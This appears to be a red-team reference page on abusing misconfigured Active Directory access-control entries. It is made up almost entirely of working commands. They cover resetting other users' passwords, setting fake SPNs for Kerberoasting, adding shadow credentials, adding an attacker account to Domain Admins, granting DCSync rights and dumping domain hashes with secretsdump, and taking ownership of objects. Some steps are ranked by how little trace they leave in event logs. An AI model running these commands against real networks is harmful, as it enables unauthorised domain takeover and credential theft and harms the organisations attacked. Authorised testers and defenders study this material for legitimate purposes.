ACL Abuse
Active Directory objects have Access Control Lists that define who can read or modify them. Misconfigured ACEs on user, group, computer, or domain objects are a reliable path to privilege escalation: often set by admins who don't understand the implications of "GenericAll".
Finding Misconfigs
Start with BloodHound's graph, then sweep with PowerView and bloodyAD to catch what BloodHound misses on granular attributes.
# BloodHound: graph query
# "Find Principals with Dangerous Rights" → shows GenericAll, WriteDACL, etc.
# On owned nodes: right-click → "Outbound Object Control"
# bloodyAD: writable objects from Linux
bloodyAD -u user -p pass -d domain.local --host dc01.domain.local get writable --otype ALL
bloodyAD -u user -p pass -d domain.local --host dc01.domain.local get writable --otype USER
bloodyAD -u user -p pass -d domain.local --host dc01.domain.local get writable --otype COMPUTER# PowerView: find all interesting ACEs
Import-Module .\PowerView.ps1
Find-InterestingDomainAcl -ResolveGUIDs | Where-Object {
$_.IdentityReferenceName -match "your.user|YourGroup"
}
# Check ACEs on a specific object
Get-ObjectAcl -Identity "CN=target,CN=Users,DC=domain,DC=local" -ResolveGUIDs |
Select-Object SecurityIdentifier, ActiveDirectoryRights, AceType
# DCSync rights specifically
Get-ObjectAcl -DistinguishedName "DC=domain,DC=local" -ResolveGUIDs | Where-Object {
$_.ObjectAceType -match "DS-Replication"
}ACL Attack Map
| Right | Object Type | Attack |
|---|---|---|
GenericAll | User | Password reset, targeted Kerberoast, shadow credentials |
GenericAll | Group | Add yourself or any account as member |
GenericAll | Computer | RBCD (set msDS-AllowedToActOnBehalfOfOtherIdentity) |
GenericWrite | User | Targeted Kerberoast (set SPN), shadow creds (msDS-KeyCredentialLink) |
GenericWrite | Computer | RBCD (set msDS-AllowedToActOnBehalfOfOtherIdentity) |
WriteDACL | Any | Grant yourself GenericAll or DCSync rights |
WriteOwner | Any | Take ownership → then WriteDACL |
ForceChangePassword | User | Reset password without knowing current |
WriteProperty (msDS-KeyCredentialLink) | User / Computer | Shadow credentials → PKINIT |
CreateChild | OU | BadSuccessor: dMSA escalation (WS2025) |
DS-Replication-Get-Changes[-All] | Domain | DCSync |
GenericAll on User
Full control over the object: three viable exploitation paths depending on what's noisiest or most reliable.
# Option 1: Password reset (loudest, triggers password change event)
net rpc password target_user 'NewPass123!' -U domain/attacker%pass -S <dc-ip>
# Option 2: Targeted Kerberoast (see also Kerberoasting page)
Set-DomainObject -Identity target_user -Set @{serviceprincipalname='fake/spn'}
GetUserSPNs.py domain.local/attacker:pass -dc-ip <ip> -request-user target_user
Set-DomainObject -Identity target_user -Clear serviceprincipalname# Option 3: Shadow Credentials (stealthiest: no password change)
pywhisker -d domain.local -u attacker -p pass --target target_user --action add --dc-ip <ip>
certipy shadow auto -u attacker@domain.local -p pass -account target_user -dc-ip <ip>GenericAll on Group
Add any account to the group directly: domain admin group membership being the obvious endgame.
# PowerView
Add-DomainGroupMember -Identity "Domain Admins" -Members "attacker"
# net command
net group "Domain Admins" attacker /add /domain# bloodyAD from Linux
bloodyAD -u attacker -p pass -d domain.local --host dc01 add groupMember "Domain Admins" attackerGenericAll on Computer → RBCD
Set the msDS-AllowedToActOnBehalfOfOtherIdentity attribute on the target computer to configure Resource-Based Constrained Delegation. Full attack chain is in Delegation → RBCD.
# bloodyAD: set RBCD attribute on target computer
bloodyAD -u attacker -p pass -d domain.local --host dc01 \
set object TARGET$ msDS-AllowedToActOnBehalfOfOtherIdentity -v 'ATTACKER_COMPUTER$'GenericWrite on User
Can't reset the password directly, but can modify writable attributes: SPN for Kerberoasting or msDS-KeyCredentialLink for shadow creds.
# Targeted Kerberoast via SPN manipulation
Set-DomainObject -Identity target_user -Set @{serviceprincipalname='fake/spn.domain.local'}GetUserSPNs.py domain.local/attacker:pass -dc-ip <ip> -request-user target_userSet-DomainObject -Identity target_user -Clear serviceprincipalname# Shadow Credentials via msDS-KeyCredentialLink
pywhisker -d domain.local -u attacker -p pass --target target_user --action add --dc-ip <ip>GenericWrite on Computer → RBCD
Same as GenericAll on Computer: set the msDS-AllowedToActOnBehalfOfOtherIdentity attribute on the target.
bloodyAD -u attacker -p pass -d domain.local --host dc01 \
set object TARGET$ msDS-AllowedToActOnBehalfOfOtherIdentity -v 'ATTACKER_COMPUTER$'WriteDACL
Rewrite the DACL on the target object: grant yourself GenericAll or DCSync rights and escalate from there.
# Grant GenericAll on a user
dacledit.py -action write -rights FullControl \
-principal attacker -target target_user \
domain.local/attacker:pass -dc-ip <ip>
# Grant DCSync rights on the domain object
dacledit.py -action write -rights DCSync \
-principal attacker -target-dn "DC=domain,DC=local" \
domain.local/attacker:pass -dc-ip <ip>
# Then run DCSync
secretsdump.py domain.local/attacker:pass@<dc-ip># PowerView alternative
Add-DomainObjectAcl -TargetIdentity target -PrincipalIdentity attacker -Rights All
Add-DomainObjectAcl -TargetIdentity "DC=domain,DC=local" -PrincipalIdentity attacker -Rights DCSyncWriteOwner
Take ownership of the object first, then use that ownership to grant yourself WriteDACL: from there, escalate as above.
# Step 1: Take ownership
Set-DomainObjectOwner -Identity target -OwnerIdentity attacker
# Step 2: Grant yourself WriteDACL now that you own it
Add-DomainObjectAcl -TargetIdentity target -PrincipalIdentity attacker -Rights WriteDacl
# Step 3: Grant GenericAll
Add-DomainObjectAcl -TargetIdentity target -PrincipalIdentity attacker -Rights AllForceChangePassword
Reset the target user's password without knowing the current one: useful when you need access to the account but don't want to enumerate further.
# Linux: net rpc
net rpc password target_user 'NewPass123!' -U domain/attacker%pass -S <dc-ip>
# impacket
changepasswd.py domain.local/target_user@<dc-ip> -newpass 'NewPass123!' -newhashes :# PowerView
$newpass = ConvertTo-SecureString 'NewPass123!' -AsPlainText -Force
Set-DomainUserPassword -Identity target_user -AccountPassword $newpass
# rpcclient
rpcclient -U 'domain\attacker%pass' <dc-ip>
setuserinfo2 target_user 23 'NewPass123!'WriteProperty on msDS-KeyCredentialLink → Shadow Credentials
Add a certificate key credential to the target account: authenticates via PKINIT without changing the password, leaving no obvious event log trail.
# pywhisker: add shadow credential
pywhisker -d domain.local -u attacker -p pass --target victim --action add --dc-ip <ip>
# Outputs: PFX file path + PFX password
# Authenticate with the certificate → get NT hash
certipy auth -pfx victim.pfx -dc-ip <ip>
# Or get TGT
getTGT.py domain.local/victim -pfx-base64 <output_b64> -dc-ip <ip>
export KRB5CCNAME=victim.ccache# Whisker (Windows)
.\Whisker.exe add /target:victim /domain:domain.local /dc:dc01.domain.local
# Outputs: Rubeus command to authenticate with the generated certificate